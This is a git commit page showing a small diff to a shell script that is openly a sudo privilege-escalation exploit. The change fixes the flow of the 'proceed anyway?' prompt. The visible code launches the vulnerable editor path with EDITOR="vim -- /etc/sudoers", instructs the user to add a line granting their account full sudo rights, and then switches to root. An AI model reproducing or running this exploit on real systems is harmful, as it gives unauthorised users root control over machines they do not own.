Merge pull request #2 from alpheratz0/patch-12
Fix "proceed anyway?" prompt
This commit is contained in:
@@ -31,11 +31,12 @@ if [ -z "$EXPLOITABLE" ]; then
|
|||||||
read -p "Do you want to proceed anyway? (y/N): " confirm && [[ $confirm == [yY] ]] || exit 2
|
read -p "Do you want to proceed anyway? (y/N): " confirm && [[ $confirm == [yY] ]] || exit 2
|
||||||
else
|
else
|
||||||
echo "> BINGO! User exploitable"
|
echo "> BINGO! User exploitable"
|
||||||
|
fi
|
||||||
|
|
||||||
echo "> Opening sudoers file, please add the following line to the file in order to do the privesc:"
|
echo "> Opening sudoers file, please add the following line to the file in order to do the privesc:"
|
||||||
echo "$USER ALL=(ALL:ALL) ALL"
|
echo "$USER ALL=(ALL:ALL) ALL"
|
||||||
read -n 1 -s -r -p "Press any key to continue..."
|
read -n 1 -s -r -p "Press any key to continue..."
|
||||||
EDITOR="vim -- /etc/sudoers" $EXPLOITABLE
|
EDITOR="vim -- /etc/sudoers" $EXPLOITABLE
|
||||||
sudo su root
|
sudo su root
|
||||||
exit 0
|
exit 0
|
||||||
fi
|
|
||||||
|
|
||||||
|
Reference in New Issue
Block a user